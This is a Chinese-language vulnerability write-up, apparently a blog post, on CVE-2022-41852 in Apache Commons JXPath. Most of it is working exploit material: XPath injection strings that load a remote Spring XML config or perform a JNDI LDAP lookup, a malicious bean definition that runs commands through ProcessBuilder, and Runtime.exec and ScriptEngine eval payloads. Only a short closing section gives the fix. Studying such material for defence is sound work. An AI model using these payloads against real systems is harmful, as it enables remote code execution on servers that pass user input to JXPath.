少女祈祷中...

Apache Commons JXPath

Apache Commons JXPath是美国阿帕奇(Apache)基金会的一种 XPath 1.0 的基于 Java 的实现。JXPath 为使用 XPath 语法遍历 JavaBeans、DOM 和其他类型的对象的图形提供了 API。

依赖

<dependency>
<groupId>commons-jxpath</groupId>
<artifactId>commons-jxpath</artifactId>
<version>1.3</version>
</dependency>

CVE-2022-41852

版本:<=1.3
JXPath

JXPath提供一个Extension Functions 扩展功能:JXPath 开箱即用地支持标准 XPath 函数。它还支持“标准”扩展函数(基本上是 Java 的桥梁)以及完全自定义的扩展函数。
基本是这个是漏洞的利用点,能直接调用java中相关静态方法和构造方法

利用:
1.通过调用对象的new创建一个对象
2.能够调用静态方法
3.或者是调用普通方法的方法(类似于invoke的用法??)

对应类:PackageFunctions

逻辑自己看代码(懒得解释了)

漏洞环境:

String s="org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8001/test.xml\")";
JXPathContext jxPathContext = JXPathContext.newContext(null);
jxPathContext.getValue(s);

getValue方法:

实际上是调用了compute方法或者是computeValue方法

类似的方法调用还有:iteratePointers/iterate

构造方法利用

spring环境:

  • **ClassPathXmlApplicationContext **
  • FileSystemXmlApplicationContext

利用
直接利用远程加载spring配置文件,构造任意bean并调用任意方法实现RCE

弹计算器

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>

(其中class指定类名,constructor-arg构造方法参数,init-method初始bean要调用的方法)

看看ClassPathXmlApplicationContext

然后根据xml配置文件完成bean工厂的初始化,并创建对应的bean (通过AbstractAutowireCapableBeanFactory#invokeCustomInitMethod调用相关方法)

poc
仅适用于Spring环境
1.开启http服务,放置对应恶意的spring配置文件,如上面的test.xml
2.编写注入表达式:

org.springframework.context.support.ClassPathXmlApplicationContext.new("http://127.0.0.1:8001/test.xml")

静态方法调用的利用

对于这种demo的利用,我们可以关注到javax.naming.InitialContext#doLookup方法

jndi注入,不分析了
一个静态方法干了两件事情,标准的能进行jndi注入

String s="javax.naming.InitialContext.doLookup(\"ldap://127.0.0.1:8085/CUhddZiV\")";
JXPathContext jxPathContext = JXPathContext.newContext(null);
jxPathContext.getValue(s);

普通方法调用

根据官方逻辑:https://commons.apache.org/proper/commons-jxpath/users-guide.html#Extension_Functions

JXPathContext context = JXPathContext.newContext(null);
context.getValue("exec(java.lang.Runtime.getRuntime(), 'calc')");

又或者我们利用ScriptEngineManager调用js实现rce

eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'java.lang.Runtime.getRuntime().exec("calc")')

修复

限制lib库使用,就是禁用java相关调用

 var pathContext = JXPathContext.newContext(null);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);